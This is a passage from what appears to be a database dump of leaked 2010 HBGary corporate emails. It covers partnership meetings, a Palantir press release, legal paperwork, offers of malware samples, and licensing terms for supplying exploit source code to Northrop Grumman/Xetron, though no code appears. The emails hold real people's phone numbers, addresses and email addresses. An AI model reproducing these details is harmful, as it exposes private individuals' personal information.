Khan at QinetiQ pointed this out to us (he is a customer).\r\n\r\n\r\n- Martin\r\n',2714,'aaron_hbgary_com/2714.html'),(1379,'2010-01-22','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000374.M930169P3547Q1379.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,rich@hbgary.com','interested in any of these samples?','attached is a list of samples we are using in th QA lab.  These all dropped in the last 72 hours.\r\n \r\nInterested in any?\r\n \r\n-Greg\r\n',2507,'aaron_hbgary_com/2507.html'),(1380,'2010-01-22','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297000375.M138228P3547Q1380.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Need agreement(s) between HBGary, HBGary Fed and Xetron','Aaron,\r\nI talked to our CFO.  He sees no problem with this to cover the initial\r\nbusiness development effort.  I will update the PIEA to add these items\r\nin and then it will have to be reviewed by our legal.\r\nBrian\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3543\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, January 21, 2010 7:17 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Fwd: Need agreement(s) between HBGary, HBGary Fed and Xetron\r\n\r\nBrian,\r\n\r\nhere is some of the language that Penny sent me for the malware.  Some\r\nof this may already be covered under the NDA we already have.  What do\r\nyou think?  As soon as I can resolve this I can get the exploits to you.\r\nAlso have some malware coming your way.\r\n\r\n\r\nBegin forwarded message:\r\n\r\n> We need an agreement from Xetron, they should have a source code\r\n> agreement.   General counsel will probably want to have them sign\r\n> their paperwork..  Terms of deal\r\n> \r\n> 1.  WE will provide object code and source code for this specific\r\nJuicy Fruit.\r\n> \r\n> 2.  They can not sell this code without providing HBGary with a\r\n> royalty (bob, please provide a price)\r\n> \r\n> 3,.  We own ALL rights to software Any deriratives, all original or\r\n> modified source code belongs to HBGary until there is a purchase.\r\n> \r\n> 4.  No source code can leave Xetron, they must maintain control of\r\n> this at all times\r\n> \r\n> 5.  All modifications need to be done by Xetron, not HBGary, which is\r\n> why we are providing source.\r\n> \r\n> \r\n> IF they want a contract with HBGary Federal that is fine, we just need\r\n> to have one between us and Fed\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11048,'aaron_hbgary_com/11048.html'),(1381,'2010-01-22','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000375.M415420P3547Q1381.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,','Re: Meet this week? Integration discussion & I want to introduce CEO 	of HBGary Federal - Aaron Barr','Hi Aaron,\r\n\r\nI am going to have a discussion with Fidelis, which does real time\r\ninspection instead of off line like NetWitness.  Apparently we have\r\ncustomers using both us and them.  You might want to take a look at\r\nthem, Bob heard from a single source the NetWitness can not keep up\r\nwith gigabyte speeds.  JUst an FYI\r\n\r\nOn Thu, Jan 21, 2010 at 9:54 PM, Aaron Barr  wrote:\r\n> Rich,\r\n> Thanks for putting together the meeting with Netwitness.  I think they are\r\n> interested in participating in the cybersecurity alliance.\r\n> To restate the goals.  To bring together a set of complementary capabilities\r\n> that represent the full spectrum of cyber intelligence; HBGary, Palantir,\r\n> Netwitness, Splunk, EndGame.  Using HBGary Federal and NG Xetron as the\r\n> integrators.  Cybersecurity has to start with intelligence/knowledge, so\r\n> rather than jumping too far as most do and trying to integrate security as\r\n> well we will focus on the knowledge integration in the first step.  Once we\r\n> have a solid working architecture for integrating intelligence from the\r\n> various feeds into Palantir, step two will be to integrate security\r\n> technologies, such as McAffee ePO, Sourcefire, etc.  Step three will be to\r\n> develop automation, unified configurable interfaces, tighter integration\r\n> between technologies.\r\n> So far we have EndGame Systems, Palantir, HBGary.  Splunk and Netwitness\r\n> sound interested.  I will be talking to Splunk folks tomorrow and hopefully\r\n> hear back from Netwitness.\r\n> Tuesday you and I will meet with EndGame Systems at 1pm to discuss a\r\n> specific partnership on cybersecurity and IO things ;).  At 3pm we will be\r\n> meeting with the larger group in Palantir spaces to do introductions, open\r\n> discussion on the concept, possible outgrowths.  After that meeting I will\r\n> start work on a press release for the alliance and start working with Xetron\r\n> to set up the integration team.\r\n> Aaron\r\n>\r\n> On Jan 19, 2010, at 10:04 AM, Rich Cummings wrote:\r\n>\r\n> FYI… I’ll let you know what comes back.\r\n>\r\n> From: Rich Cummings [mailto:rich@hbgary.com]\r\n> Sent: Tuesday, January 19, 2010 9:22 AM\r\n> To: \'Amit Yoran\'\r\n> Subject: Meet this week? Integration discussion & I want to introduce CEO of\r\n> HBGary Federal - Aaron Barr\r\n>\r\n> Hey Amit,\r\n>\r\n> Can we get together this week to talk about some integration points of our\r\n> technologies and some Govt contracts were going after this year?  We’re\r\n> getting into the services space with a new company we started in Nov called\r\n> called HBGary Federal.  This organization was started to do classified work\r\n> and to extend the HBGary product line into that arena.   HBGary’s CEO is\r\n> Aaron Barr who comes to us from Northrop Grumman where he ran a book of\r\n> business doing Information Operations for the last 15 or so years.\r\n>\r\n> I think we could team up to create some bleeding edge stuff.  This week\r\n> looks good for Aaron and I.\r\n>\r\n> Thanks,\r\n> Rich\r\n>\r\n>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',12570,'aaron_hbgary_com/12570.html'),(1382,'2010-01-22','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297000375.M612056P3547Q1382.eml','aaron@hbgary.com','Accepted: Invitation: Cyber Intelligence Consortium @ Tue Jan 26 3:30pm - 4:30pm (brian.masterson@ngc.com)','\r\n\r\n\r\n\r\n\r\nAccepted: Invitation: Cyber Intelligence Consortium @ Tue Jan 26 3:30pm - 4:30pm (brian.masterson@ngc.com)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7348,'aaron_hbgary_com/7348.html'),(1383,'2010-01-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000376.M100300P3547Q1383.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Fwd: interested in any of these samples?','Look through the list and pick a few that interest you and I will get them.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> From: Greg Hoglund \r\n> Date: January 22, 2010 1:49:17 PM EST\r\n> To: Aaron Barr , Ted Vera , Phil Wallisch , rich@hbgary.com\r\n> Subject: interested in any of these samples?\r\n> \r\n> attached is a list of samples we are using in th QA lab.  These all dropped in the last 72 hours.\r\n>  \r\n> Interested in any?\r\n>  \r\n> -Greg\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5735,'aaron_hbgary_com/5735.html'),(1384,'2010-01-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000382.M639620P3547Q1384.eml','\"Ted Vera\" <ted@hbgary.com>','Slides','\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11922,'aaron_hbgary_com/11922.html'),(1385,'2010-01-22','\"Bill Hornish\" <bhornish@splunk.com>','/aaron@hbgary.com/new/1297000383.M149518P3547Q1385.eml','aaron@hbgary.com','Accepted: Invitation: Cyber Intelligence Consortium @ Tue Jan 26 3:30pm -  4:30pm (bhornish@splunk.com)','Thanks I\'ll be there.. Is it ok if I bring my boss Tony Ayaz, Splunk Federal\r\nVP ?\r\n\r\n',10759,'aaron_hbgary_com/10759.html'),(1386,'2010-01-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000383.M397380P3547Q1386.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: GSA (20-Year) Schedule Contracts (MAS)','---------- Forwarded message ----------\r\nFrom: Rudy V. Garcia \r\nDate: Thu, Jan 21, 2010 at 9:22 AM\r\nSubject: GSA (20-Year) Schedule Contracts (MAS)\r\nTo: ted@hbgary.com\r\n\r\n\r\nDear Business Owner,\r\n\r\nI apologize for the intrusion. My name is Rudy Garcia. I am an\r\norganizational and business development specialist. My professional\r\nwork includes the preparation and negotiation of GSA 20-year Schedule\r\ncontracts (Multiple Award Schedules) for companies interested in\r\noffering their services and/or products to the federal government. If\r\nyour company is not yet a GSA Schedule contract-holder and may be\r\ninterested in pursuing one, please reply to my message, call me at\r\n303.582.1955 or visit my website www.rudyvgarcia.com. I will gladly\r\nprovide you references.\r\n\r\nThank you for your time and I again apologize for the intrusion.\r\n\r\nSincerely, Rudy V. Garcia\r\n\r\n63 Highpoint Circle\r\nBlackhawk, Colorado 80422\r\n303.582.1955\r\nwww.rudyvgarcia.com\r\n\r\n(For those firms interested in pursuing the IT Schedule Series 70 or\r\nthe Security First Responder Series 84, remember that both contracts\r\nare under cooperative agreements with state and local agencies. They\r\ncan now acquire your services using the GSA Schedule contract.)\r\n\r\n(If your marketing plans include \'end-of-year\' purchasing/spending by\r\nthe federal government [FY ending 9/30/10], you may wish to consider\r\nthe timing in getting your Schedule contract)\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n',790,'aaron_hbgary_com/790.html'),(1387,'2010-01-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000383.M604501P3547Q1387.eml','\"Bill Hornish\" <bhornish@splunk.com>','Re: Accepted: Invitation: Cyber Intelligence Consortium @ Tue Jan 26 3:30pm -  4:30pm (bhornish@splunk.com)','yep.\r\n\r\nOn Jan 22, 2010, at 4:42 PM, Bill Hornish wrote:\r\n\r\n> Thanks I\'ll be there.. Is it ok if I bring my boss Tony Ayaz, Splunk Federal\r\n> VP ?\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10994,'aaron_hbgary_com/10994.html'),(1388,'2010-01-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000383.M840854P3547Q1388.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Invitation: Lunch with mike @ Tue Jan 5 11:30am - 12:30pm (mbt.rbtoth@starpower.net)','Begin forwarded message:From: MB Toth &lt;mbt.rbtoth@starpower.net&gt;Date: January 5, 2010 5:34:14 PM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;, adbarr@me.com, Ted Vera &lt;tedvera@me.com&gt;Subject: Re: Invitation: Lunch with mike @ Tue Jan 5 11:30am - 12:30pm (mbt.rbtoth@starpower.net)\r\n\r\nAaron,\r\n\r\n&nbsp;&nbsp;&nbsp; Great lunch, thanks!&nbsp; Look forward to working with you and Ted in\r\nthe year ahead.&nbsp; \r\n\r\n&nbsp;&nbsp;&nbsp; Per discussion, might get on the mailing list for\r\nNCSI In-Agency\r\nTechnology Expos, which includes key IC customers.&nbsp; They also host\r\nthe big DoDIIS Worldwide Conference, this year 23-27 May 2010,\r\nin Phoenix, AZ, which is well worth attending for the networking.\r\n\r\n&nbsp;&nbsp;&nbsp; Registration on the NRO Acquisition Research Center (ARC) is a first step to bidding\r\non many IC contracts.&nbsp; HP Gary can be registered in the Contractor\r\nRegistry, which is used by contractors to search for subs.&nbsp; If you look\r\ndown the left side, you will see what access is provided with\r\nregistration.&nbsp; As we discussed, I can fill out the registration for HP\r\nGary (with you as POC) if you wish.&nbsp; And on the other side of the\r\nriver, similar is true for the NSA ARC.\r\n\r\n&nbsp;&nbsp;&nbsp; Enjoy your travels to Colorado, hopefully in good weather,\r\n\r\n&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Mike\r\n\r\n\r\n\r\nOn 1/4/2010 11:18 AM, Aaron Barr wrote:\r\n\r\n  \r\n  \r\n    \r\n      \r\n        \r\n        \r\n        \r\n        more details »\r\n        \r\n        Lunch\r\nwith mike\r\n        \r\n          \r\n            \r\n              \r\n              When\r\n              \r\n              Tue Jan 5 11:30am – 12:30pm Eastern Time\r\n            \r\n            \r\n              \r\n              Where\r\n              \r\n              La Madeline (map)\r\n            \r\n            \r\n              \r\n              Calendar\r\n              \r\n              mbt.rbtoth@starpower.net\r\n            \r\n            \r\n              \r\n              Who\r\n              \r\n              \r\n              \r\n                \r\n                  \r\n                    •\r\n                    \r\n                    \r\n                    Aaron Barr - organizer\r\n                    \r\n                    \r\n                  \r\n                  \r\n                    •\r\n                    \r\n                    \r\n                    mbt.rbtoth@starpower.net\r\n                    \r\n                    \r\n                  \r\n                \r\n              \r\n              \r\n            \r\n          \r\n        \r\n        Going?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options »\r\n        \r\n      \r\n      \r\n        Invitation from Google\r\nCalendarYou are receiving this courtesy email at the account\r\nmbt.rbtoth@starpower.net because you are an attendee of this event.To stop receiving future notifications for this event,\r\ndecline this event. Alternatively you can sign up for a Google account\r\nat https://www.google.com/calendar/ and control your notification\r\nsettings for your entire calendar.\r\n        \r\n      \r\n    \r\n  \r\n  \r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6936,'aaron_hbgary_com/6936.html'),(1389,'2010-01-22','\"Winterfeld, Steven P (TASC Inc)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297000384.M228724P3547Q1390.eml','\"Aaron Barr\" <aaron@hbgary.com>','books','\r\n\r\n\r\n\r\n\r\nbooks\r\n\r\n\r\n\r\n\r\nFive dysfunctions of a team\r\n\r\nFour obsessions of an extraordinary executive \r\n\r\nPartick Lencioni \r\n\r\n\r\n',16502,'aaron_hbgary_com/16502.html'),(1390,'2010-01-22','\"Bill Hornish\" <bhornish@splunk.com>','/aaron@hbgary.com/new/1297000384.M34704P3547Q1389.eml','aaron@hbgary.com','Accepted: Invitation: Cyber Intelligence Consortium @ Tue Jan 26 3:30pm -  4:30pm (bhornish@splunk.com)','\r\n\r\n',10849,'aaron_hbgary_com/10849.html'),(1391,'2010-01-22','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000384.M431288P3547Q1391.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Federal Computer Week Article Published -- HBGary Federal Quoted','Hi Aaron, Just to confirm -- I will send this release out to key security/government reporters and analysts Monday morning 6 AM PT. --- On Thu, 1/21/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Federal Computer Week Article Published -- HBGary Federal QuotedTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Thursday, January 21, 2010, 4:14 PM\r\n\r\nWashington, D.C., January xx, 2010, Today HBGary Federal, a leading provider of expert classified cybersecurity services to the Department of Defense, Intelligence Community and other U.S. government agencies, announced a new partnership with Palantir Technologies. Together, HBGary Federal and Palantir will provide enhanced threat intelligence, including the origin of today’s global cybersecurity threats, so the federal government can better protect our national cyber infrastructure.&nbsp; \r\n\"It is our vision to bring together the best cyber intelligence and analysis technologies with some of the brightest malware and threat intelligence analysts and develop a cooperative capability that can make significant contributions to the national capabilities in threat intelligence and attribution,” said Aaron Barr, CEO of HBGary Federal.&nbsp;“Palantir is well-respected in the government market and is a natural partner for us.”\r\nEvery day thousands of malware variants attack and infiltrate our national cyber infrastructure. As a result, the federal government is looking for the necessary threat intelligence to determine which threats pose the most danger and plan the right courses of action for mission assurance.&nbsp; By leveraging HBGary’s advanced malware analysis technologies and Palantir’s leading analysis toolsuite, HBGary Federal’s trained threat and malware analysts can better organize and analyze malware and threat data to provide more granular threat intelligence to its government customers.\r\n“Our customers have found it difficult to integrate all their disparate network information along with contextual information to detect and block advanced attacks,” said Shreyas Vijaykumar, Palantir’s Cyber Security Lead.&nbsp; “Palantir’s ability to integrate this data coupled with HBGary’s renowned forensics capability presents a compelling cybersecurity solution to government and private sector customers.&nbsp; We look forward to working closely with our partners at HBGary Federal in this critical security domain.”&nbsp;\r\nAbout HBGary Federal&nbsp;\r\nHBGary Federal was founded in 2009 by former Northrop Grumman employees and military veterans, Aaron Barr and Ted Vera.&nbsp;HBGary Federal is focused on delivering HBGary’s best-in-class malware analysis and incident response products and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements. HBGary Federal has offices in Washington D.C. and Colorado Springs offices, respectively.&nbsp; For more information on HBGary Federal, please visit http://www.hbgary.com.\r\n&nbsp;\r\nAbout Palantir\r\nThe company’s two products, Palantir Government and Palantir Finance, are platforms that encompass the entire analysis stack, including data integration, search &amp; discovery, knowledge management, and collaboration across the enterprise.&nbsp; The platforms support many kinds of data including structured, unstructured, relational, temporal, and geospatial,.&nbsp; Palantir’s products are core components of any organization’s intelligence infrastructure built for real-time analysis with a focus on security, scalability, ease of use, and collaboration.\r\n\r\nPalantir is headquartered in Palo Alto, CA with offices in Tyson’s Corner, VA.\r\n\r\n\r\nOn Jan 21, 2010, at 7:10 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\nHI Aaron, Alas, I can\'t open this file. Can you please resend or paste the release&nbsp;in below? Thanks so much. Best, Karen&nbsp;--- On Thu, 1/21/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Federal Computer Week Article Published -- HBGary Federal QuotedTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Cc: \"Ted Vera\" &lt;ted@hbgary.com&gt;Date: Thursday, January 21, 2010, 3:56 PM\r\nok here you go. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 21, 2010, at 4:44 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, Federal Computer Week John Moore has published his article on enduser security trianing; you are quoted in the piece. The article is slated for the Jan. 25th print edition, but the online version of the article is available now. \r\n&nbsp;\r\nPlease see link for the piece: http://fcw.com/articles/2010/01/25/feat-cybersecurity-training-a-must.aspx\r\n&nbsp;\r\nIt may be part of a larger article -- we can review&nbsp;the print issue of the magazine when it becomes available on Monday.\r\n&nbsp;\r\nThanks again for participating in the interview.\r\n&nbsp;\r\nBest, Karen&nbsp;&nbsp;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',4891,'aaron_hbgary_com/4891.html'),(1392,'2010-01-22','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297000384.M673728P3547Q1392.eml','\"Aaron Barr\" <aaron@hbgary.com>','Tracking Number for Ins. Paperwork','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nI just sent all of your insurance information.&nbsp; Your\r\nstart date is March 1, 2010.&nbsp; Your UPS ground tracking number is 1Z AF7112\r\n03 9454 9103.&nbsp; You should have the package no later than Friday 1/29/09.&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\nThanks \r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9860,'aaron_hbgary_com/9860.html'),(1393,'2010-01-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000385.M256913P3547Q1393.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Federal Computer Week Article Published -- HBGary Federal Quoted','Sounds good.  I am working on the next one.From my iPhoneOn Jan 22, 2010, at 5:44 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nHi Aaron, Just to confirm -- I will send this release out to key security/government reporters and analysts Monday morning 6 AM PT. \r\n--- On Thu, 1/21/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Federal Computer Week Article Published -- HBGary Federal Quoted\r\nTo: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;Date: Thursday, January 21, 2010, 4:14 PM\r\n\r\nWashington, D.C., January xx, 2010, Today HBGary Federal, a leading provider of expert classified cybersecurity services to the Department of Defense, Intelligence Community and other U.S. government agencies, announced a new partnership with Palantir Technologies. Together, HBGary Federal and Palantir will provide enhanced threat intelligence, including the origin of today’s global cybersecurity threats, so the federal government can better protect our national cyber infrastructure.  \r\n\r\n&quot;It is our vision to bring together the best cyber intelligence and analysis technologies with some of the brightest malware and threat intelligence analysts and develop a cooperative capability that can make significant contributions to the national capabilities in threat intelligence and attribution,” said Aaron Barr, CEO of HBGary Federal. “Palantir is well-respected in the government market and is a natural partner for us.”\r\nEvery day thousands of malware variants attack and infiltrate our national cyber infrastructure. As a result, the federal government is looking for the necessary threat intelligence to determine which threats pose the most danger and plan the right courses of action for mission assurance.  By leveraging HBGary’s advanced malware analysis technologies and Palantir’s leading analysis toolsuite, HBGary Federal’s trained threat and malware analysts can better organize and analyze malware and threat data to provide more granular threat intelligence to its government customers.\r\n“Our customers have found it difficult to integrate all their disparate network information along with contextual information to detect and block advanced attacks,” said Shreyas Vijaykumar, Palantir’s Cyber Security Lead.  “Palantir’s ability to integrate this data coupled with HBGary’s renowned forensics capability presents a compelling cybersecurity solution to government and private sector customers.  We look forward to working closely with our partners at HBGary Federal in this critical security domain.” \r\nAbout HBGary Federal \r\nHBGary Federal was founded in 2009 by former Northrop Grumman employees and military veterans, Aaron Barr and Ted Vera. HBGary Federal is focused on delivering HBGary’s best-in-class malware analysis and incident response products and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements. HBGary Federal has offices in Washington D.C. and Colorado Springs offices, respectively.  For more information on HBGary Federal, please visit http://www.hbgary.com.\r\n \r\nAbout Palantir\r\nThe company’s two products, Palantir Government and Palantir Finance, are platforms that encompass the entire analysis stack, including data integration, search &amp; discovery, knowledge management, and collaboration across the enterprise.  The platforms support many kinds of data including structured, unstructured, relational, temporal, and geospatial,.  Palantir’s products are core components of any organization’s intelligence infrastructure built for real-time analysis with a focus on security, scalability, ease of use, and collaboration.\r\n\r\n\r\nPalantir is headquartered in Palo Alto, CA with offices in Tyson’s Corner, VA.\r\n\r\n\r\nOn Jan 21, 2010, at 7:10 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\nHI Aaron, Alas, I can&#39;t open this file. Can you please resend or paste the release in below? Thanks so much. Best, Karen --- On Thu, 1/21/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: Re: Federal Computer Week Article Published -- HBGary Federal QuotedTo: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;\r\nCc: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Date: Thursday, January 21, 2010, 3:56 PM\r\n\r\nok here you go. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 21, 2010, at 4:44 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, Federal Computer Week John Moore has published his article on enduser security trianing; you are quoted in the piece. The article is slated for the Jan. 25th print edition, but the online version of the article is available now. \r\n\r\n \r\nPlease see link for the piece: http://fcw.com/articles/2010/01/25/feat-cybersecurity-training-a-must.aspx\r\n\r\n \r\nIt may be part of a larger article -- we can review the print issue of the magazine when it becomes available on Monday.\r\n \r\nThanks again for participating in the interview.\r\n \r\nBest, Karen  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n      \r\n',15722,'aaron_hbgary_com/15722.html'),(1394,'2010-01-23','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000385.M471767P3547Q1394.eml','all@hbgary.com','small facelift to frontpage','Team,\r\nI took about 2 hours and fixed the hbgary homepage, the testimonials are better now, and I put Phil&#39;s PDF article front and center.\r\n \r\n-Greg\r\n',1862,'aaron_hbgary_com/1862.html'),(1395,'2010-01-23','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000385.M664311P3547Q1395.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,','Re: Meet this week? Integration discussion & I want to introduce CEO 	of HBGary Federal - Aaron Barr',' \r\nTeam,\r\n \r\nRegarding the integration, we are pulling down over 1 gig of malware every morning over here in Sac.  Here are some basic data strings we will want to pull for link-analysis:\r\n- IP addresses \r\n- URL&#39;s (full path)\r\n- C&amp;C filenames (extracted from URL&#39;s, login.php etc, cgi&#39;s)\r\n- potential developer drive paths (f:\\aurora\\.., etc)\r\n- GTG DDNA Sequence\r\n- Registry Keys\r\n- File Paths (%WINNT%/System32, etc..)\r\n \r\n(Note: I am waiting to find out what, if any, data from our partners will be integrated at the Sacramento facility.)\r\n \r\nAll strings will be stored, of course, but the above will be tag-typed so we can filter just against those sets.  I am sure there are alot more. I have briefed Scott on a potential database schema, and prototyped the first version of our TMC management and analysis tool.  Shawn will take the lead engineering position in the TMC, and fulfill the head analyst role.  Martin is moving to full-time engineering and will backfill for Shawn in the product team.  The next iteration following the 2.0 Responder release will be 100% focused on the Digital DNA quality, removal of false positives, and standing up the first version of the TMC here in Sacramento.  We plan on briefing Aaron and Ted on the TMC design with the goal of replicating it in Colorado Springs.  So far, I am commited to the idea that Michael will develop the first integration / data feed between TMC and the Palantir interface, and this code will be delivered to Ted in the &#39;springs to help them kickstart.  I am not sure to what extent we will leverage Palantir in the Sac TMC given that it&#39;s a limited version.  We can certainly exercise it and I want to highlight it in the press/media.\r\n\r\n \r\n-Greg\r\n',14578,'aaron_hbgary_com/14578.html'),(1396,'2010-01-23','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297000385.M868202P3547Q1396.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Re: small facelift to frontpage','It looks great!\r\nOn Fri, Jan 22, 2010 at 4:28 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\nTeam,\r\nI took about 2 hours and fixed the hbgary homepage, the testimonials are better now, and I put Phil&#39;s PDF article front and center.\r\n \r\n-Greg-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n',4221,'aaron_hbgary_com/4221.html'),(1397,'2010-01-23','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000388.M271718P3547Q1397.eml','bob@hbgary.com,rich@hbgary.com,bob@hbgary.com,rich@hbgary.com','FW: HBGary Federal LLC Operating Agreement draft 11','Please review and sign\r\n\r\n-----Original Message-----\r\nFrom: Maheen Sadruddin [mailto:maheen@delahousayelaw.com] \r\nSent: Friday, January 22, 2010 3:13 PM\r\nTo: Angela De La Housaye; penny@hbgary.com\r\nSubject: RE: HBGary Federal LLC Operating Agreement draft 11\r\n\r\nPenny, \r\n\r\nAttached is the clean version of the most recent OA. \r\n\r\nPlease let me know if you have questions. \r\n\r\nThank you, \r\n\r\nMaheen S. Sadruddin\r\nParalegal\r\nmaheen@delahousayelaw.com\r\n925/944-3300\r\n \r\nDe La Housaye & Associates\r\nA Law Corporation\r\nwww.delahousayelaw.com\r\n \r\nWalnut Creek - San Francisco - Los Angeles\r\n \r\nNOTICE - Any tax information or written tax advice contained herein\r\n(including attachments) is not intended to be and cannot be used by any\r\ntaxpayer for the purpose of avoiding tax penalties that may be imposed on\r\nthe taxpayer.  (The foregoing legend has been affixed pursuant to U.S.\r\nTreasury regulations governing tax practice.)\r\n \r\nThis message and any attached files may contain information that is\r\nconfidential and/or subject of legal privilege intended only for use by the\r\nintended recipient. If you are not the intended recipient or the person\r\nresponsible for delivering the message to the intended recipient, be advised\r\nthat you have received this message in error and that any dissemination,\r\ncopying or use of this message or attachment is strictly forbidden, as is\r\nthe disclosure of the information therein. If you have received this message\r\nin error please notify the sender immediately and delete the message.\r\n-----Original Message-----\r\nFrom: Angela De La Housaye\r\nSent: Friday, January 22, 2010 2:18 PM\r\nTo: \'penny@hbgary.com\'\r\nCc: Maheen Sadruddin\r\nSubject: Re: HBGary Federal LLC Operating Agreement draft 11\r\n\r\nYes.  I thought it was sent. Let me have Maheen send it now.\r\n\r\n----- Original Message -----\r\nFrom: Penny Leavy \r\nTo: Angela De La Housaye\r\nSent: Fri Jan 22 14:02:35 2010\r\nSubject: Re: HBGary Federal LLC Operating Agreement draft 11\r\n\r\nOK, is this done yet?\r\n\r\nOn Thu, Jan 21, 2010 at 